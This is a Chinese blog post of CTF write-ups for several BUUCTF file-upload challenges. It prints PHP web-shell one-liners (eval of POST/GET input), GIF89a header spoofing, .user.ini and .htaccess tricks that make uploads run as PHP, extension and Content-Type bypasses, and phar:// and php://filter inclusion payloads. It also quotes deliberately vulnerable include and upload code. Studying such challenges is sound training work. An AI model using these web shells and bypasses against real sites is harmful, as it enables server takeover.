文件上传小练

[SUCTF 2019]CheckIn

打开后,是一个文件上传的界面,很明显是文件上传漏洞

经尝试后发现后缀名不能是phpphp被过滤;含有<?的文件被过滤

所以我们将一句话木马进行一些修改

<script language="php">eval($_GET['shell']);</script>

修改后再次上传shell.php

在这里插入图片描述

exif_imagetype

判断一个图像的类型

exif_imagetype ( string $filename ) : int

exif_imagetype() 读取一个图像的第一个字节并检查其签名。

说明题目会检查上传的文件的头部的一些部分来判断是否为图片

使用GIF89a图片头文件欺骗

将php内容改为

GIF89a
<script language="php">eval($_POST['shell']);</script>

在这里插入图片描述

接下来介绍一个新东西.user.ini

具体在这里我就不说了,参考.user.ini文件构成的PHP后门

其实和.htaccess也有类似之处

在这里插入图片描述

auto_append_file,指定一个文件,自动包含在要执行的文件前,而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

auto_prepend_file=shell.php
shell.php

所以,我们可利用.user.ini来包含文件

先上传.user.ini

GIF89a
auto_prepend_file=shell.gif

加上GIF89a来绕过头部的检查

在这里插入图片描述

然后再上传shell.gif

GIF89a
<script language="php">eval($_POST[shell']);</script>

最后蚁剑连接

在这里插入图片描述

[极客大挑战 2019]Upload

首先我们先提交一个一句话木马试试

<?php eval($_POST['123'])?>

在这里插入图片描述

提示格式不对

在这里插入图片描述

我们bp抓包更改文件格式,将Content-Type后面更改为image/jpeg,同时更改文件后缀为php5,发现被过滤了

在这里插入图片描述

接着试试常见的几种绕过后缀的文件格式:php,php3,php4,php5,phtml.pht

发现只有phtml没被过滤,所以我们将后缀改为phtml上传

在这里插入图片描述

接着又发现上传的文件里面不能包含有<?所以我们将其替换为

GIF89a?关于GIF89a可以参考GIF89a图片头文件欺骗 - IT使者 - 博客园 (cnblogs.com)这篇文章

所以最终的一句话木马为

GIF89a? <script language="php">eval($_REQUEST[123])</script>

接着抓包上传即可

在这里插入图片描述

成功

在这里插入图片描述

然后猜测图片保存的路径

http://4c9aed77-7f60-4d19-8eae-c6ae4423a79c.node4.buuoj.cn/upload/shell.phtml

在这里插入图片描述

正确,然后用蚁剑连接即可

密码就是request里面的

在这里插入图片描述

flag在根文件里面

在这里插入图片描述

完成

[ACTF2020 新生赛]Upload

首先上传一个php文件,发现不行。

在这里插入图片描述

接着我们上传一个png文件,然后将其在bp里改成php文件,发现php也不行

在这里插入图片描述

最后尝试发现phtml可以绕过

在这里插入图片描述

最后用蚁剑连接就可以了,flag在根目录里面

在这里插入图片描述

[MRCTF2020]你传你🐎呢

先上传一个php文件,果然不行

在这里插入图片描述

接着写个.htaccess文件去把上传的文件解析成php文件

.htaccess内容

<FilesMatch "ceshi">
SetHandler application/x-httpd-php
</FilesMatch>

先上传.htaccess文件(这里说一下,要记得把Contene-Type改为imag/jpeg,后面都要改)

在这里插入图片描述

成功,接着上传ceshi.txt

ceshi.txt内容

<?php @eval($_POST['123']);?>

在这里插入图片描述

上传成功,返回了一个位置,访问它

在这里插入图片描述

没回显错误就说明上传成功了

最后用蚁剑连接即可,密码123,flag在根目录下

在这里插入图片描述

[GXYCTF2019]BabyUpload

还是先尝试一下,直接上传php文件

在这里插入图片描述

这样很多绕过方式都不好使了,

试着上传图片试试

在这里插入图片描述

上传太露骨了,是对Content-Type的限制,将其改为image/jpeg即可绕过

尝试上传一个图片🐎

在这里插入图片描述

看来过滤了<?标签

可以这样绕过

<script language="php">eval($_POST['mochu7']);</script>

文件后缀可以用.htaccess文件绕过

先上传一个.htaccess文件

在这里插入图片描述

成功,接着上传图片马

在这里插入图片描述

成功上传,得到地址,访问

在这里插入图片描述

无错误回显,说明上传成功,最后蚁剑连接即可得到flag

在这里插入图片描述

phar??

利用 phar 拓展 php 反序列化漏洞攻击面 (seebug.org)

考点:

1.phar协议
2.本地文件包含

查看源码

include.php

查看源码

同时告诉了一个参数:file

尝试随便包含一下

仔细查看报错他会在你包含的文件后面加上一个.php

没法上传php文件

可以上传jpg文件

获取到的地址也能访问

简单思路

利用文件包含来触发文件上传的漏洞

这里可以先使用伪协议来读源码

?file=php://filter/read=convert.base64-encode/resource=include

include.php

<html>
Tips: the parameter is file! :) 
<!-- upload.php -->
</html>
<?php
    @$file = $_GET["file"];
    if(isset($file))
    {
    
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
    
            echo "<p> error! </p>";
        }
        else
        {
    
            include($file.'.php');
        }
    }
?>

过滤了一些东西,然后在末尾加了.php

upload.php

<?php
if(!empty($_FILES["file"]))
{
    
    echo $_FILES["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
    
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
    
        echo "upload failed!";
    }
}
?>

白名单过滤

然后就可以开始尝试了

创建一个1.php,内容为<?php phpinfo();?>,然后压缩成压缩包,之后改后缀为jpg,然后上传

payload

include.php?file=phar://upload/1.jpg/1

接下来改下内容重新上传即可

2.php

<?php system('cat /flag'); ?>

[WUSTCTF2020]CV Maker

打开界面,没有什么思路,看到有注册选项,先注册,然后登录,发现有个上传头像

,那肯定就是在这里注入了

在这里插入图片描述

直接’空内容‘点击上传

在这里插入图片描述

exif_imagetype函数,判断文件头是否是图片。

那么我们直接上传一个shell.php,利用GIF89a就能绕过了,内容为

GIF89a
<script language="php">eval($_POST['shell']);</script>

上传成功,得到图片位置

在这里插入图片描述

最后利用蚁剑连接,flag还是在根目录下

在这里插入图片描述

结束

posted @ 2022-07-06 14:11  phant0m1  阅读(638)  评论(0编辑  收藏  举报